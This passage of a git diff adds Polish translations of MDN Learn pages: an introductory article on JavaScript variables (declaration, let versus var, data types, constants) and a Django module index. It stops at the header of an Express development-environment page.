+<p>JavaScript może wyglądać obecnie lekko odstraszająco, ale nie martw się - w tym kursie wprowadzimy cię w jego świat krok po kroku. W kolejnym artykule <a href="/en-US/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">zanurzysz się w praktycznej częsci</a>, poprzez budowanie twoich własnych przykładów kodu w JavaScript.</p>
+
+<ul>
+</ul>
+
+<p>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="W_tym_module"><strong>W tym module</strong></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">Co to jest JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">Pierwszy skok do JavaScriptu</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">Co poszło nie tak? Rozwiązywanie problemów JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Przechowywanie potrzebnych informacji - Zmienne</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Podstawowa matematyka w JavaScript - liczby i operatory</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Obsługa tekstu - ciągi znaków w JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Przydatne metody ciągów znaków</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Tablice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Podsumowanie: Generator głupich historii</a></li>
+</ul>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/zmienne/index.html b/files/pl/learn/javascript/pierwsze_kroki/zmienne/index.html
new file mode 100644
index 0000000000..d1b55aea20
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/zmienne/index.html
@@ -0,0 +1,453 @@
+---
+title: Przechowywanie potrzebnych informacji — Zmienne
+slug: Learn/JavaScript/Pierwsze_kroki/Zmienne
+translation_of: Learn/JavaScript/First_steps/Variables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div>
+
+<p>Po przeczytaniu kilku ostatnich artykułów, powinieneś juz wiedzieć czym jest JavaScript, co może dla Ciebie zrobić, jak używać go razem z innymi technologiami webowymi, oraz jak jego główne cechy wyglądają z wysokiego poziomu. W tym artykule, przejdziemy do fundamentów, poznamy jak wygląda pracowa z najbardziej podstawowym konceptem JavaScript - Zmiennymi. </p>
+
+<div></div>
+
+<table class="learn-box">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Podstawowa znajomość komputera, podstawowe rozumienie HTML i CSS, oraz rozumienie czym jest JavaScript.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zapoznać się z podstawami dotyczącymi zmiennych w JavaScript.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Potrzebne_Narzędzia">Potrzebne Narzędzia</h2>
+
+<p>Podczas tego artykułu, będziesz wpisywać linie kodu aby sprawdzić swoje rozumienie zawartości. Jeśli używasz przeglądarki desktopowej, najlepszym miejscem na wpisanie próbnego kodu jest konsola JavaScript Twojej przeglądarki (zobacz: <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> aby zasięgnąć szczegółowych informacji, jak otworzyć to narzędzie).</p>
+
+<p>Niemniej jednak, zapewniliśmy również prostą konsolę JavaScript wbudowaną w poniższą stronę, abyś mógł wpisywać kod w przypadku gdy nie używasz przeglądarki z łatwym dostępem do konsoli JavaScript lub konsola wewnątrz strony jest dla Ciebie wygodniejsza.</p>
+
+<h2 id="Czym_jest_zmienna">Czym jest zmienna?</h2>
+
+<p>Zmienna jest to kontener na wartość, jak liczba, którą możemy użyć w sumowaniu lub łańcuch znaków, który możemy wykorzystać jako część zdania. Ale jedną rzeczą, która wyróżnia zmienne jest to, że ich wartość może ulec zmianie. Popatrzmy na prosty przykład:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Press me&lt;/button&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('button');
+
+button.onclick = function() {
+ let name = prompt('What is your name?');
+ alert('Hello ' + name + ', nice to see you!');
+}</pre>
+
+<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>W tym przykładzie, naciśnięcie przycisku uruchamia kilka linijek kodu. Pierwsza linia powoduje pojawienie się okna na ekranie, które pyta o imię, a następnie przechowuje wartość w zmiennej. Druga linia wyświetla wiadomość powitalną zawierajaca imię pobrane ze zmiennej.</p>
+
+<p>Aby zrozumieć dlaczego jest to tak przydatne, pomyślmy o tym jak stworzylibyśmy ten przykład, nie używając zmiennej. W efekcie wygladałoby to mniej więcej tak:</p>
+
+<pre class="example-bad notranslate">var name = prompt('What is your name?');
+
+if (name === 'Adam') {
+ alert('Hello Adam, nice to see you!');
+} else if (name === 'Alan') {
+ alert('Hello Alan, nice to see you!');
+} else if (name === 'Bella') {
+ alert('Hello Bella, nice to see you!');
+} else if (name === 'Bianca') {
+ alert('Hello Bianca, nice to see you!');
+} else if (name === 'Chris') {
+ alert('Hello Chris, nice to see you!');
+}
+
+// ... i tak dalej ...</pre>
+
+<p>Możesz nie rozumieć w pełni składni której tu używamy (jeszcze!), ale powinieneś być w stanie zrozumieć o co chodzi - jeśli nie moglibyśmy używać zmiennych, musielibyśmy implementować gigantyczny blok kodu, który sprawdzałby jakie było wpisane imię, a następnie wyświetlał odpowiednią wiadomość dla tego imienia. Oczywiście jest to całkowicie nieefektywne (kod jest znacznie większy, nawet dla tylko pięciu możliwych wyborów) i po prostu nie działałoby - nie mógłbyś przecież przechowywać wszystkich możliwych wyborów.</p>
+
+<p>Zmienne po prostu mają sens i jak tylko nauczysz się więcej o JavaScript, używanie ich stanie się dla Ciebie czyms naturalnym.</p>
+
+<p>Kolejna rzecz, która wyróżnia zmienne jest to, że mogą one zawierać prawie wszystko - nie tylko łańcuchy znaków i liczby. Zmienne moga również zawierać skomplikowane dane, a nawet całe funkcje do robienia niesamowitych rzeczy. Nauczysz sie o tym więcej, w ciągu kursu.  </p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Mówimy że zmienne zawieraja wartości. Jest to ważne rozróżnienie. Zmienne nie są wartościami same w sobie; są kontenerami na wartości. Możesz je sobie wyobrazić jako kartonowe pudełka, w których możesz przechowywać rzeczy.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p>
+
+<h2 id="Deklarowanie_zmiennej">Deklarowanie zmiennej</h2>
+
+<p>W celu użycia zmiennej, na początku musisz ją stworzyć - a dokładniej nazywa się to deklarowaniem zmiennej. Aby to zrobić, wpisujemy słowo kluczowe  <code>var</code> albo <code>let</code> a następnie nazwę, którą chcesz żeby miała Twoja zmienna:</p>
+
+<pre class="brush: js notranslate">let myName;
+let myAge;</pre>
+
+<p>Tutaj tworzymy dwie zmienne, które nazywają się <code>myName</code> i <code>myAge</code>. Spróbuj wpisać teraz te linie w konsoli Twojej przeglądarki lub w poniższej konsoli (możesz otworzyć <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">otworzyć tą konsolę</a> w oddzielnej karcie lub oknie jeśli wolisz). Nastepnie spróbuj stworzyć zmienną (lub dwie) z wybranymi przez Ciebie nazwami.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;JavaScript console&lt;/title&gt;
+ &lt;style&gt;
+ * {
+ box-sizing: border-box;
+ }
+
+ html {
+ background-color: #0C323D;
+ color: #809089;
+ font-family: monospace;
+ }
+
+ body {
+ max-width: 700px;
+ }
+
+ p {
+ margin: 0;
+ width: 1%;
+ padding: 0 1%;
+ font-size: 16px;
+ line-height: 1.5;
+ float: left;
+ }
+
+ .input p {
+ margin-right: 1%;
+ }
+
+ .output p {
+ width: 100%;
+ }
+
+ .input input {
+ width: 96%;
+ float: left;
+ border: none;
+ font-size: 16px;
+ line-height: 1.5;
+ font-family: monospace;
+ padding: 0;
+ background: #0C323D;
+ color: #809089;
+ }
+
+ div {
+ clear: both;
+ }
+
+ &lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+
+
+ &lt;/body&gt;
+
+ &lt;script&gt;
+ let geval = eval;
+ function createInput() {
+ let inputDiv = document.createElement('div');
+ let inputPara = document.createElement('p');
+ let inputForm = document.createElement('input');
+
+ inputDiv.setAttribute('class','input');
+ inputPara.textContent = '&gt;';
+ inputDiv.appendChild(inputPara);
+ inputDiv.appendChild(inputForm);
+ document.body.appendChild(inputDiv);
+
+ if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+ inputForm.addEventListener('change', executeCode);
+ }
+
+ function executeCode(e) {
+ let result;
+ try {
+ result = geval(e.target.value);
+ } catch(e) {
+ result = 'error — ' + e.message;
+ }
+
+ let outputDiv = document.createElement('div');
+ let outputPara = document.createElement('p');
+
+ outputDiv.setAttribute('class','output');
+ outputPara.textContent = 'Result: ' + result;
+ outputDiv.appendChild(outputPara);
+ document.body.appendChild(outputDiv);
+
+ e.target.disabled = true;
+ e.target.parentNode.style.opacity = '0.5';
+
+ createInput()
+ }
+
+ createInput();
+
+ &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: W JavaScript, wszystkie instrukcje kodu powinny być zakończone średnikiem (<code>;</code>) — Twój kod może działać poprawnie dla pojedynczych linii, ale prawdopodobnie nie będzie, jeśli napiszesz wiele linii kodu razem. Spróbuj wejść w nawyk wpisywania go.</p>
+</div>
+
+<p>Możesz przetestować czy te wartości istnieją teraz w środowisku wykonawczym wpisując po prostu nazwę zmiennej, np.</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Obecnie nie mają one wartości; są pustymi kontenerami. Kiedy wpisujesz nazwy zmiennych, powinieneś otrzymać zwróconą wartość <code>undefined</code>. Natomiast jesli one nie istnieją, dostaniesz informację o błedzie — spróbuj wpisać:</p>
+
+<pre class="brush: js notranslate">scoobyDoo;</pre>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Nie pomyl zmiennej, która istnieje, ale nie ma zdefiniowanej wartości, ze zmienną, która wcale nie istnieje — to dwie zupełnie inne rzeczy. Wracając do porównania z pudełkami, które widziałeś wyżej — jeśli zmienna nie istnieje, to znaczy, że nie mamy żadnego kartonowego pudełka, do którego moglibyśmy wrzucić zawartość.<br>
+ Natomiast zmienna bez zdefiniowanej zawartości to po prostu puste pudełko. </p>
+</div>
+
+<h2 id="Inicjalizacja_zmiennej">Inicjalizacja zmiennej</h2>
+
+<p>Kiedy już zadeklarujesz zmienną, możesz ją zainicjować nadając wartość. Robi się to, wpisując nazwę zmiennej, a następnie znak równości (<code>=</code>), poprzedzajacy wartość, którą chcesz jej nadać. Na przykład:</p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+myAge = 37;</pre>
+
+<p>Spróbuj teraz wrócić do konsoli i wpisać te linie. Powinieneś zobaczyć wartość, którą przypisałeś do zmiennej zwróconą w konsoli aby potwierdzić to w obu przypadkach. Znowu, możesz zwrócić wartości zmiennych po prostu wpisujac ich nazwy w konsoli — spróbuj ponownie:</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Możesz zadeklarować i zainicjować zmienną w tym samym czasie, tak jak tu:</p>
+
+<pre class="brush: js notranslate">let myDog = 'Rover';</pre>
+
+<p>Tak prawdopodobnie będziesz robił najcześciej, jako że jest to szybsze niż wykonywanie dwóch czynności w dwóch oddzielnych linijkach.</p>
+
+<h2 id="Róznice_między_var_i_let">Róznice między var i let</h2>
+
+<p>Możesz się teraz zastanawiać "Po co nam dwa słowa kluczowe do deklarowania zmiennych? Po co nam var i let?".</p>
+
+<p>Powód jest historyczny. Kiedy JavaScript został stworzony, mogliśmy korzystać tylko z <code>var</code>. Takie deklarowanie zmiennych działa, ale niesie ze sobą kilka niechcianych błędów.  Stworzono więc <code>let</code>, który jest obecnym standardem w języku JavaScript (to właśnie z niego powinniśmy korzystać). Główna róznica polega na tym, że <code>let</code> naprawia błędy, które mogliśmy napotkać podczas korzystania z <code>var</code>.</p>
+
+<p>A couple of simple differences are explained below. We won't go into all the differences now, but you'll start to discover them as you learn more about JavaScript (if you really want to read about them now, feel free to check out our <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let reference page</a>).</p>
+
+<p>For a start, if you write a multiline JavaScript program that declares and initializes a variable, you can actually declare a variable with <code>var</code> after you initialize it and it will still work. For example:</p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+
+function logName() {
+ console.log(myName);
+}
+
+logName();
+
+var myName;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: This won't work when typing individual lines into a JavaScript console, just when running multiple lines of JavaScript in a web document.</p>
+</div>
+
+<p>This works because of <strong>hoisting</strong> — read <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> for more detail on the subject.</p>
+
+<p>Hoisting no longer works with <code>let</code>. If we changed <code>var</code> to <code>let</code> in the above example, it would fail with an error. This is a good thing — declaring a variable after you initialize it makes for confusing, harder to understand code.</p>
+
+<p>Secondly, when you use <code>var</code>, you can declare the same variable as many times as you like, but with <code>let</code> you can't. The following would work:</p>
+
+<pre class="brush: js notranslate">var myName = 'Chris';
+var myName = 'Bob';</pre>
+
+<p>But the following would throw an error on the second line:</p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+let myName = 'Bob';</pre>
+
+<p>You'd have to do this instead:</p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+myName = 'Bob';</pre>
+
+<p>Again, this is a sensible language decision. There is no reason to redeclare variables — it just makes things more confusing.</p>
+
+<p>For these reasons and more, we recommend that you use <code>let</code> as much as possible in your code, rather than <code>var</code>. There is no reason to use <code>var</code>, unless you need to support old versions of Internet Explorer with your code (it doesn't support <code>let</code> until version 11; the modern Windows Edge browser supports <code>let</code> just fine).</p>
+
+<div class="note">
+<p><strong>Note</strong>: We are currently in the process of updating the course to use <code>let</code> rather than <code>var</code>. Bear with us!</p>
+</div>
+
+<h2 id="Updating_a_variable">Updating a variable</h2>
+
+<p>Once a variable has been initialized with a value, you can change (or update) that value by simply giving it a different value. Try entering the following lines into your console:</p>
+
+<pre class="brush: js notranslate">myName = 'Bob';
+myAge = 40;</pre>
+
+<h3 id="An_aside_on_variable_naming_rules">An aside on variable naming rules</h3>
+
+<p>You can call a variable pretty much anything you like, but there are limitations. Generally, you should stick to just using Latin characters (0-9, a-z, A-Z) and the underscore character.</p>
+
+<ul>
+ <li>You shouldn't use other characters because they may cause errors or be hard to understand for an international audience.</li>
+ <li>Don't use underscores at the start of variable names — this is used in certain JavaScript constructs to mean specific things, so may get confusing.</li>
+ <li>Don't use numbers at the start of variables. This isn't allowed and will cause an error.</li>
+ <li>A safe convention to stick to is so-called <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>, where you stick together multiple words, using lower case for the whole first word and then capitalize subsequent words. We've been using this for our variable names in the article so far.</li>
+ <li>Make variable names intuitive, so they describe the data they contain. Don't just use single letters/numbers, or big long phrases.</li>
+ <li>Variables are case sensitive — so <code>myage</code> is a different variable to <code>myAge</code>.</li>
+ <li>One last point — you also need to avoid using JavaScript reserved words as your variable names — by this, we mean the words that make up the actual syntax of JavaScript! So, you can't use words like <code>var</code>, <code>function</code>, <code>let</code>, and <code>for</code> as variable names. Browsers will recognize them as different code items, and so you'll get errors.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a fairly complete list of reserved keywords to avoid at <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">Lexical grammar — keywords</a>.</p>
+</div>
+
+<p>Good name examples:</p>
+
+<pre class="example-good notranslate">age
+myAge
+init
+initialColor
+finalOutputValue
+audio1
+audio2</pre>
+
+<p>Bad name examples:</p>
+
+<pre class="example-bad notranslate">1
+a
+_12
+myage
+MYAGE
+var
+Document
+skjfndskjfnbdskjfb
+thisisareallylongstupidvariablenameman</pre>
+
+<p>Error-prone name examples:</p>
+
+<pre class="example-invalid notranslate">var
+Document
+</pre>
+
+<p>Try creating a few more variables now, with the above guidance in mind.</p>
+
+<h2 id="Variable_types">Variable types</h2>
+
+<p>There are a few different types of data we can store in variables. In this section we'll describe these in brief, then in future articles, you'll learn about them in more detail.</p>
+
+<p>So far we've looked at the first two, but there are others.</p>
+
+<h3 id="Numbers">Numbers</h3>
+
+<p>You can store numbers in variables, either whole numbers like 30 (also called integers) or decimal numbers like 2.456 (also called floats or floating point numbers). You don't need to declare variable types in JavaScript, unlike some other programming languages. When you give a variable a number value, you don't include quotes:</p>
+
+<pre class="brush: js notranslate">let myAge = 17;</pre>
+
+<h3 id="Strings">Strings</h3>
+
+<p>Strings are pieces of text. When you give a variable a string value, you need to wrap it in single or double quote marks, otherwise, JavaScript will try to interpret it as another variable name.</p>
+
+<pre class="brush: js notranslate">let dolphinGoodbye = 'So long and thanks for all the fish';</pre>
+
+<h3 id="Booleans">Booleans</h3>
+
+<p>Booleans are true/false values — they can have two values, <code>true</code> or <code>false</code>. These are generally used to test a condition, after which code is run as appropriate. So for example, a simple case would be:</p>
+
+<pre class="brush: js notranslate">let iAmAlive = true;</pre>
+
+<p>Whereas in reality it would be used more like this:</p>
+
+<pre class="brush: js notranslate">let test = 6 &lt; 3;</pre>
+
+<p>This is using the "less than" operator (<code>&lt;</code>) to test whether 6 is less than 3. As you might expect, it will return <code>false</code>, because 6 is not less than 3! You will learn a lot more about such operators later on in the course.</p>
+
+<h3 id="Arrays">Arrays</h3>
+
+<p>An array is a single object that contains multiple values enclosed in square brackets and separated by commas. Try entering the following lines into your console:</p>
+
+<pre class="brush: js notranslate">let myNameArray = ['Chris', 'Bob', 'Jim'];
+let myNumberArray = [10, 15, 40];</pre>
+
+<p>Once these arrays are defined, you can access each value by their location within the array. Try these lines:</p>
+
+<pre class="brush: js notranslate">myNameArray[0]; // should return 'Chris'
+myNumberArray[2]; // should return 40</pre>
+
+<p>The square brackets specify an index value corresponding to the position of the value you want returned. You might have noticed that arrays in JavaScript are zero-indexed: the first element is at index 0.</p>
+
+<p>You'll learn a lot more about arrays in <a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">a future article</a>.</p>
+
+<h3 id="Objects">Objects</h3>
+
+<p>In programming, an object is a structure of code that models a real-life object. You can have a simple object that represents a box and contains information about its width, length, and height, or you could have an object that represents a person, and contains data about their name, height, weight, what language they speak, how to say hello to them, and more.</p>
+
+<p>Try entering the following line into your console:</p>
+
+<pre class="brush: js notranslate">let dog = { name : 'Spot', breed : 'Dalmatian' };</pre>
+
+<p>To retrieve the information stored in the object, you can use the following syntax:</p>
+
+<pre class="brush: js notranslate">dog.name</pre>
+
+<p>We won't be looking at objects any more for now — you can learn more about those in <a href="/en-US/docs/Learn/JavaScript/Objects">a future module</a>.</p>
+
+<h2 id="Dynamic_typing">Dynamic typing</h2>
+
+<p>JavaScript is a "dynamically typed language", which means that, unlike some other languages, you don't need to specify what data type a variable will contain (numbers, strings, arrays, etc).</p>
+
+<p>For example, if you declare a variable and give it a value enclosed in quotes, the browser will treat the variable as a string:</p>
+
+<pre class="brush: js notranslate">let myString = 'Hello';</pre>
+
+<p>It will still be a string, even if it contains numbers, so be careful:</p>
+
+<pre class="brush: js notranslate">let myNumber = '500'; // oops, this is still a string
+typeof myNumber;
+myNumber = 500; // much better — now this is a number
+typeof myNumber;</pre>
+
+<p>Try entering the four lines above into your console one by one, and see what the results are. You'll notice that we are using a special operator called <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> — this returns the data type of the variable you pass into it. The first time it is called, it should return <code>string</code>, as at that point the <code>myNumber</code> variable contains a string, <code>'500'</code>. Have a look and see what it returns the second time you call it.</p>
+
+<h2 id="Constants_in_JavaScript">Constants in JavaScript</h2>
+
+<p>Many programming languages have the concept of a <em>constant</em> — a value that once declared can never be changed. There are many reasons why you'd want to do this, from security (if a third party script changed such values it could cause problems) to debugging and code comprehension (it is harder to accidently change values that shouldn't be changed and mess things up).</p>
+
+<p>In the early days of JavaScript, constants didn't exist. In modern JavaScript, we have the keyword <code>const</code>, which lets us store values that can never be changed:</p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+const hoursInDay = 24;</span></span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>const</code> works in exactly the same way as <code>let</code>, except that you can't give a <code>const</code> a new value. In the following example, the second line would throw an error:</span></span></span></span></p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+daysInWeek = 8;</span></span></span></span></pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>By now you should know a reasonable amount about JavaScript variables and how to create them. In the next article, we'll focus on numbers in more detail, looking at how to do basic math in JavaScript.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Maths", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">The first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/pl/learn/server-side/django/index.html b/files/pl/learn/server-side/django/index.html
new file mode 100644
index 0000000000..1eb4d61586
--- /dev/null
+++ b/files/pl/learn/server-side/django/index.html
@@ -0,0 +1,70 @@
+---
+title: Django Web Framework (Python)
+slug: Learn/Server-side/Django
+tags:
+ - Beginner
+ - CodingScripting
+ - Intro
+ - Learn
+ - NeedsTranslation
+ - Python
+ - Server-side programming
+ - TopicStub
+ - django
+translation_of: Learn/Server-side/Django
+---
+<div>{{LearnSidebar}}</div>
+
+<p>Django is an extremely popular and fully featured server-side web framework, written in Python. This module shows you why Django is one of the most popular web server frameworks, how to set up a development environment, and how to start using it to create your own web applications.</p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Before starting this module you don't need to have any knowledge of Django. Ideally, you would need to understand what server-side web programming and web frameworks are by reading the topics in our <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a> module.</p>
+
+<p>A general knowledge of programming concepts and <a href="/en-US/docs/Glossary/Python">Python</a> is recommended, but is not essential to understanding the core concepts.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better, there are numerous free books and tutorials available on the Internet to help you out (new programmers might want to check out the <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> page on the python.org wiki).</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></dt>
+ <dd>In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you set it up and start playing.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></dt>
+ <dd>Now that you know what Django is for, we'll show you how to set up and test a Django development environment on Windows, Linux (Ubuntu), and macOS — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></dt>
+ <dd>The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" — an example website we'll be working through and evolving in subsequent articles.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></dt>
+ <dd>This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></dt>
+ <dd>This article shows how to define models for the <em>LocalLibrary</em> website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></dt>
+ <dd>Now that we've created models for the <em>LocalLibrary </em>website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some ways in which you can further improve the presentation of the admin site.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></dt>
+ <dd>We're now ready to add the code to display our first full page — a home page for the <em>LocalLibrary</em> that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></dt>
+ <dd>This tutorial extends our <em>LocalLibrary</em> website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></dt>
+ <dd>This tutorial extends our <em>LocalLibrary</em> website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does show how you can use the session framework to provide persistent behaviour for anonymous users in your own sites.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></dt>
+ <dd>In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their <em>permissions</em>. As part of this demonstration we'll extend the <em>LocalLibrary</em> website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></dt>
+ <dd>In this tutorial we'll show you how to work with <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> in Django, and in particular the easiest way to write forms to create, update, and delete model instances. As part of this demonstration we'll extend the <em>LocalLibrary</em> website so that librarians can renew books, and create, update, and delete authors using our own forms (rather than using the admin application).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></dt>
+ <dd>As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate <em>unit testing</em> of your website using Django's test framework.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></dt>
+ <dd>Now you've created (and tested) an awesome <em>LocalLibrary</em> website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></dt>
+ <dd>Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> — this article provides a practical demonstration of how Django's built-in protections handle such threats.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<p>The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></dt>
+ <dd>In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.</dd>
+</dl>
diff --git a/files/pl/learn/server-side/express_nodejs/development_environment/index.html b/files/pl/learn/server-side/express_nodejs/development_environment/index.html
new file mode 100644
index 0000000000..f525a69f31
--- /dev/null
+++ b/files/pl/learn/server-side/express_nodejs/development_environment/index.html
@@ -0,0 +1,411 @@
+---
